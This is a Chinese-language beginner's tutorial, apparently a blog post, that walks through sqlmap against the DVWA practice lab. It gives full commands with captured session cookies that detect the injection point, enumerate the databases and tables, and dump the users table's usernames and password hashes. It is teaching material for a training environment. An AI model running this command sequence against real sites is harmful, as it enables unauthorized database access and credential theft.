【學習筆記】新手5分鐘快速體驗SQLmap

本文不對繁雜的引言、細節做介紹,直接進入操作過程。更多細節可以參考sqlmap詳解

說明:進行實踐操作之前,假設你已經搭建好了一套DVWA或其他測試環境。

測試平臺:Kali Linux操作系統

測試目標:OWASP BWA平臺中的DVWA 的SQL Injection

用到工具:Tamper Data

瀏覽器:Firefox

下面列出體驗將用到的參數、選項說明

測試中用到的參數
-u 指定要進行注入的URL
--dbs 枚舉數據庫管理系統所有數據庫
-D 指定要進行枚舉的數據庫名(一般在--dbs得到之後)
--tables 枚舉指定數據庫(有-D選項)的所有表
-T 指定要進行枚舉的表名(--tables之後)
--columns 枚舉指定表名的列
--dump 轉儲注入返回的信息
cookie 注入頁面的cookie
-C 指定要枚舉的列字段名

以具體操作具體化上表的具體作用。

1、檢測頁面是否存在注入漏洞。

在Firefox瀏覽器的Tools菜單欄中打開Tamper data,我們在USER ID處隨意輸入一個值“aa”,Tamper data捕獲HTTP有關信息,我們只要cookie值,右鍵複製。

在終端輸入一下指令:

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31'

執行中可能會有讓你選擇[Y/n]的過程,最終會得到下面關鍵信息

即該URL中的id參數存在SQL注入點,分別爲基於錯誤的注入點和Union查詢的注入點,還給出了數據庫版本及Web平臺信息。

2、進一步探測數據庫名稱。

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' --dbs

也就是加上了--dbs參數,探測到如下信息

除了MySQL默認的系統數據庫,還有一個名爲dvwa的數據庫。

3、看看有些什麼表

-D參數來指定dvwa數據庫,--tables選項進行表枚舉。

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables

枚舉出表名:[guestbook]和[users],當然是對users的內容更感興趣。

4、進一步查看users表的字段列表

上一步的基礎上使用-T參數指定表名,--columns選項對列表進行枚舉

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns

得到表的字段名及數據類型

5、各個字段都是什麼內容

使用--dump選項轉儲字段內容並保存,

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns --dump

達到目標

最終通過SQL注入得到了指定表的各字段具體信息,雖然password字段會被加密,但是在指令執行過程中會詢問是否解密。

也許並非所有字段我們都想要,那麼可以通過-C選項指定我們想要的列,比如這裏我們只要user和password

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns  -C user,password--dump

這樣就篩選出了我們感興趣的字段內容。

再補充一點就是dvwa平臺如果security等級被設置爲high的話,直接sql探測會檢測不到存在注入點。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章